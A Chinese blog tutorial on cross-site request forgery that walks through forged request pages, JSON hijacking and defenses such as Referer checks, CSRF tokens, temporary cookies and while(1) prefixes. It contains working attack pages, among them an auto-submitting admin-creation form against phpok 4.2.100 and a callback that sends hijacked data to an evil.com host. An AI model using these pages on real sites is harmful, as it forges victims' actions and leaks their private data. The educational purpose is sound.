zoukankan      html  css  js  c++  java
  • 邪恶的csrf

    关于csrf是啥我就不多说了

    进入正文

    场景模拟

    场景一

    在一个bbs社区里,用户在发言的时候会发出一个这样的GET请求:

    #!html
    GET /talk.php?msg=hello HTTP/1.1
    Host: www.bbs.com
    …
    Cookie: PHPSESSID=ee2cb583e0b94bad4782ea

    这是用户发言内容为“hello”时发出的请求,当然,用户在请求的同时带上了该域下的cookie,于是攻击者构造了下面的csrf.html页面:

    #!html
    <html>
        <img src=http://www.bbs.com/talk.php?msg=goodbye />
    </html>

    可以看到,攻击者在自己的页面中构造了一个发言的GET请求,然后把这个页面放在自己的服务器上,链接为http://www.evil.com/csrf.html。之后攻击者通过某种方式诱骗受害者访问该链接,如果受害者此时处于登录状态,就会带上bbs.com域下含有自己认证信息的cookie访问http://www.bbs.com/talk.php?msg=goodbye,结果就是受害者按照攻击者的意愿提交了一份内容为“goodbye”的发言。

    有人说这有什么大不了的,好,我们再看看另一个场景下的CSRF攻击。

    场景二

    在一个CMS系统的后台,发出下面的POST请求可以执行添加管理员的操作:

    #!html
    POST /manage.php?act=add HTTP/1.1
    Host: www.cms.com
    …
    Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;
    is_admin=234mn9guqgpi3434f9r3msd8dkekwel
    
    uname=test&pword=test

    在这里,攻击者构造了的csrf2.html页面如下

    #!html
    <html>
        <form action="/manage.php?act=add" method="post">
            <input type="text" name="uname" value="evil" />
            <input type="password" name="pword" value="123456" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </html>

    该页面的链接为http://www.evil.com/csrf2.html,攻击者诱骗已经登录后台的网站管理员访问该链接(比如通过给管理员留言等方式)会发生什么呢?当然是网站管理员根据攻击者伪造的请求添加了一个用户名为evil的管理员用户。

    通过这些场景我们可以看到,CSRF攻击会根据场景的不同而危害迥异。小到诱使用户留言,大到垂直越权进行操作。这些攻击的请求都是跨域发出,并且至关重要的一点,都是在受害者的身份得到认证以后发生的。另外,我们在第一个场景中攻击时并没有使用JavaScrpit,这说明CSRF攻击并不依赖于JavaScript。

    CSRF攻击方式

    HTML CSRF攻击:

    即利用HTML元素发出GET请求(带src属性的HTML标签都可以跨域发起GET请求),如:

    #!html
    <link href="">
    <img src="">
    <iframe src="">
    <meta http-equiv="refresh" content="0; url=…">
    <script src="">
    <video src="">
    <audio src="">
    <a href="">
    <table background="">

    若要构造POST请求,则必须用表单提交的方式。另外,这些标签也可以用JavaScript动态生成,如:

    #!html
    <script>
        new Image().src = 'http://www.goal.com/…';
    </script>

    JSON HiJacking攻击:

    为了了解这种攻击方式,我们先看一下Web开发中一种常用的跨域获取数据的方式:JSONP。

    先说一下JSON吧,JSON是一种数据格式,主要由字典(键值对)和列表两种存在形式,并且这两种形式也可以互相嵌套,非常多的应用于数据传输的过程中。由于JSON的可读性强,并且很适合JavaScript这样的语言处理,已经取代XML格式成为主流。

    JSONP(JSON with Padding)是一个非官方的协议,是Web前端的JavaScript跨域获取数据的一种方式。我们知道,JavaScript在读写数据时受到同源策略的限制,不可以读写其他域的数据,于是大家想出了这样一种办法:

    前端html代码:

    #!html
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
    <script type="text/javascript"> 
        function jsonpCallback(result) { 
            alert(result.a); 
            alert(result.b);
            alert(result.c); 
            for(var i in result) { 
                alert(i+":"+result[i]);//循环输出a:1,b:2,etc. 
            } 
        } 
    </script> 
    <script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>

    后端的php代码:

    #!php
    <?php 
    //服务端返回JSON数据 
    $arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); 
    $result=json_encode($arr); 
    //echo $_GET['callback'].'("Hello,World!")'; 
    //echo $_GET['callback']."($result)";
    //动态执行回调函数 
    $callback=$_GET['callback']; 
    echo $callback."($result)";
    ?>

    可以看到,前端先是定义了jsonpCallback函数来处理后端返回的JSON数据,然后利用script标签的src属性跨域获取数据(前面说到带src属性的html标签都可以跨域),并且把刚才定义的回调函数的名称传递给了后端,于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行,达到了跨域获取数据的目的。

    一句话描述JSONP:前端定义函数却在后端完成调用然后回到前端执行!

    明白了JSONP的调用过程之后,我们可以想象这样的场景:

    当用户通过身份认证之后,前端会通过JSONP的方式从服务端获取该用户的隐私数据,然后在前端进行一些处理,如个性化显示等等。这个JSONP的调用接口如果没有做相应的防护,就容易受到JSON HiJacking的攻击。

    就以上面讲JSONP的情景为例,攻击者可以构造以下html页面:

    #!html
    <html>
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
    <script type="text/javascript"> 
        function hijack(result) { 
            var data = '';
            for(var i in result) {
                data += i + ':' + result[i];
            }
            new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把数据发送到攻击者服务器上
        } 
    </script> 
    <script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
    </html>

    可以看到,攻击者在页面中构造了自己的回调函数,把获取的数据都发送到了自己的服务器上。如果受害者在已经经过身份认证的情况下访问了攻击者构造的页面,其隐私将暴露无疑。

    0x04 CSRF的危害

    前面说了CSRF的基本概念,列举了几个CSRF的攻击场景,讲述了几种CSRF的攻击方法,现在我们来简单总结一下CSRF攻击可能造成的危害。

    CSRF能做的事情大概如下:

    1)篡改目标网站上的用户数据;
    2)盗取用户隐私数据;
    3)作为其他攻击向量的辅助攻击手法;
    4)传播CSRF蠕虫。

    其中前两点我们在之前的例子中已经做了比较详细的说明,不再赘述。第三点即将其他攻击方法与CSRF进行结合进行攻击,接下来我们以实际的漏洞实例来说明CSRF的第三个危害。

    另外,CSRF蠕虫就是利用之前讲述的各种攻击方法,并且在攻击代码里添加了形成蠕虫传播条件的攻击向量,这一点会在本文的最后介绍。

    攻击实例

    版本4.2.100:

    在phpok该版本的后台提交如下POST请求可以添加管理员:

    #!html
    POST /phpok/admin.php?c=admin&f=save HTTP/1.1
    Host: www.goal.com
    …
    Cookie: …
    
    id=…&accont=…&pass=…&status=…&if_system=…

    攻击者可以构造如下页面:

    #!html
    <html>
        <div style="display:none">
            <form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
                <input type="hidden" name="id" value=""/>
                <input type="hidden" name="account" value=""/>
                <input type="hidden" name="pass" value=""/>
                <input type="hidden" name="email" value=""/>
                <input type="hidden" name="status" value=""/>
                <input type="hidden" name="if_system" value=""/>
                <input type="submit" name="up" value="submit"/>
            </form>
            <script>
                var t = document.poc;
                t.account.value="wooyun";
                t.pass.value="123456";
                t.status.value="1";
                t.if_system.value="1";
                document.poc.submit();
            </script>
        </div>
    </html>

    CSRF的防御

    前面我们了解了这么多有关CSRF攻击的东西,目的是为了明白如何防御CSRF攻击(真的是这样吗?...)。

    要防御CSRF攻击,我们就要牢牢抓住CSRF攻击的几个特点。

    首先是“跨域”,我们发现CSRF攻击的请求都是跨域的,针对这一特点,我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下,用户提交的都是站内的请求,其Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段,这也是这种防御方法成立的条件。

    不过需要说明的是,有的时候请求并不需要跨域,比如我们后面讲到的结合XSS进行攻击的时候,有的时候甚至没有Referer字段…,这些也是使用这种防御方法的弊病所在。

    第二点是“伪造”,这也是CSRF攻击的核心点,即伪造的请求。我们来想一下,攻击者为什么能够伪造请求呢?换句话说,攻击者能够伪造请求的条件是什么呢?纵观之前我们伪造的所有请求,无一例外,请求中所有参数的值都是我们可以预测的,如果出现了攻击者无法预测的参数值,那么将无法伪造请求,CSRF攻击也不会发生。基于这一点,我们有了如下两种防御方法:

    1. 添加验证码;

    2. 使用一次性token。

    先看看第一种。验证码的核心作用是区分人和机器,而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的,属于机器发出的请求,攻击者无法预知验证码的值,所以使用验证码可以很好地防御CSRF攻击,但毫无疑问,验证码会一定程度地影响用户体验,所以我们要在安全和用户体验之间找到一个平衡点。

    再看看第二种方法。所谓token是一段字母数字随机值,我们可以把它理解为一个服务端帮我们填好的验证码!每当我们访问该页面时,服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中,当我们提交表单时,token会作为一个参数提交到服务端进行验证。在这个请求过程中,token的值也是攻击者无法预知的,而且由于同源策略的限制,攻击者也无法使用JavaScript获取其他域的token值,所以这种方法可以成功防御CSRF攻击,也是现在用的最多的防御方式。

    但是,需要注意的一点是,token的生成一定要随机,即不能被攻击者预测到,否则这种防御将形同虚设。另外,token如果作为GET请求的参数在url中显示的话,很容易在Referer中泄露。还有更重要的一点:如果在同域下存在XSS漏洞,那么基于token的CSRF防御将很容易被击破,我们后面再说。

    除了“跨域”和“伪造”两点,我们还可以注意到CSRF在攻击时间上的特点:CSRF攻击都是在受害者已经完成身份认证之后发生的,这是由CSRF攻击的目的所决定的。基于这一点,我们还可以想出一些缓解CSRF攻击的方法(注意是缓解),比如缩短Session的有效时间等等,可能一定程度上会降低CSRF攻击的成功率。

    总结一下上面的防御方法如下:

    1. 验证Referer;

    2. 使用验证码;

    3. 使用CSRF token;

    4. 限制Session生命周期。

    其中第四种属于缓解类方法,就不多说了。我们看一下其他三种方法都分别存在什么弊病。

    Referer最大弊病:有些请求不带Referer;

    验证码最大弊病:影响用户体验;

    CSRF token最大弊病:随机性不够好或通过各种方式泄露,此外,在大型的服务中需要一台token生成及校验的专用服务器,需要更改所有表单添加的字段,有时效性的问题。

    那么有没有其它的办法能够有效地防御CSRF攻击呢?xeye团队的monyer提出了下面这样的方法:

    原理与token差不多:当表单提交时,用JavaScript在本域添加一个临时的Cookie字段,并将过期时间设为1秒之后在提交,服务端校验有这个字段即放行,没有则认为是CSRF攻击。

    前面提到,token之所以可以防御CSRF,是因为攻击者无法使用JavaScript获取外域页面中的token值,必须要遵守同源策略;而临时Cookie的原理是:Cookie只能在父域和子域之间设置,也遵守同源策略,攻击者无法设置该Cookie。

    下面看一个简单的demo,前端http://127.0.0.1:8888/test.html

    #!html
    <html>
        <script>
            function doit() {
                var expires = new Date((new Date()).getTime()+1000);
                document.cookie = "xeye=xeye; expires=" + expires.toGMTString();
            }
        </script>
        <form action="http://127.0.0.1:8888/test.php" name="f" id="f" onsubmit="doit();" target="if1">
            <input type="button" value="normal submit" onclick="f.submit();">
            <input type="button" value="with token" onclick="doit();f.submit();">
            <input type="submit" value="hook submit">
        </form>
        <iframe src="about:blank" name="if1" id="if1"></iframe>
    </html>

    服务端http://127.0.0.1:8888/test.php:

    #!php
    <?php
    echo "<div>Cookies</div>";
    var_dump($_COOKIE);
    ?>

    前端test.html页面中有三个按钮:第一个是正常的表单提交;第二个是添加临时Cookie后提交表单;第三个是以hook submit事件来添加临时Cookie并提交。

    通过上面的演示,我们可以看到设置临时Cookie的效果。

    不过这种方式只适用于单域名的站点,或者安全需求不需要“当子域发生XSS隔离父域”。因为子域是可以操作父域的Cookie的(通过设置当前域为父域的方式),所以这种方法的缺点也比较明显:这种方法无法防御由于其他子域产生的XSS所进行的表单伪造提交(注意:使用token可能也会有这样的问题,马上说到)。但如果对于单域站点而言,这种防御方法的安全性可能会略大于token。

    对于这种防御方式的几个小疑问:

    1. 网络不流畅,有延迟会不会导致Cookie失效?这个显然是不会的,因为服务端Cookie是在提交请求的header中获得的。延时在服务端,不在客户端,而1秒钟足可以完成整个表单提交过程。

    2. Cookie的生成依赖于JavaScript,相当于这个token是明文的?这是肯定的,不管采用多少种加密,只要在客户端,就会被破解,不过不管怎样,CSRF无法在有用户状态的情况下添加这个临时Cookie字段(同源策略)。虽然通过服务端可以,但是无法将当前用户的状态也带过去(即攻击者尝试在自己的中转服务器上添加临时Cookie,但是这种做法背离CSRF攻击的目的了,因为受害者的Cookie(认证信息)不会发到攻击者的中转服务器上啊…顺便说一句,Referer也是同样的道理)。

    3. 如果由于某种网络问题无法获取Cookie呢?那么保存用户状态的Cookie当然也无法获取了,用户只能再重新提交表单才可以,这就与CSRF无关了。

    由于这种防御策略还没有被大规模使用,所以无法确定其是否真实有效。不过如果有效的话,这大概是一种最简单的、对代码改动最小,且对服务器压力也最小的防御CSRF的方法。

    在攻击方法中我们详细讲解了JSON HiJacking,那么针对这种特定的CSRF攻击方法,我们有没有什么特定的防御方法呢?

    当然有了,这里介绍两种:

    1)在返回的脚本开始部分加入“while(1);”:

    当攻击者通过JSON HiJacking的方式获取到返回的JSON数据时,其攻击代码会陷入死循环中,无法将敏感信息发送到自己的服务器上,这样就防止了信息泄露;而正常的客户端代码可以正确地处理返回的JSON数据,它可以先将“while(1);”去掉再正常处理。

    这样做相比较与其他方式CSRF的方法有一个突出的好处,即不依赖浏览器的边界安全策略,而是在代码级别引入保护机制。

    Google的部分服务就采取了这种防御方法,具体内容可以参考下面的链接:

    http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses

    2) 使用POST表单提交的方式获取JSON数据:

    当前端可以使用XMLHttpRequest获取JSON数据时,当然也可以使用POST表单的方式完成这项任务,这样的话攻击者就无法使用script标签来获取JSON数据(因为src属性发出的是GET请求)。

    纵观这些CSRF的防御方法,无一不是针对CSRF攻击成立的条件进行破坏,这也是“未知攻,焉知防”道理的体现。我们在对自己的网站进行防御的时候,要根据自己的业务场景,选择一个最合适的防御方案。

  • 相关阅读:
    ZXing 生成、解析二维码图片的小示例
    OpenLDAP 2.4.x源码安装配置
    Elasticsearch & Kibana with Shield
    Kibana SSL
    Kibana 官方示例
    ELK 处理分析日志(nginx,syslog)
    Elasticsearch 负载均衡集群
    Elasticsearch REST API小记
    ELK 安装配置
    ELK 安装配置
  • 原文地址:https://www.cnblogs.com/M0rta1s/p/11743811.html
Copyright © 2011-2022 走看看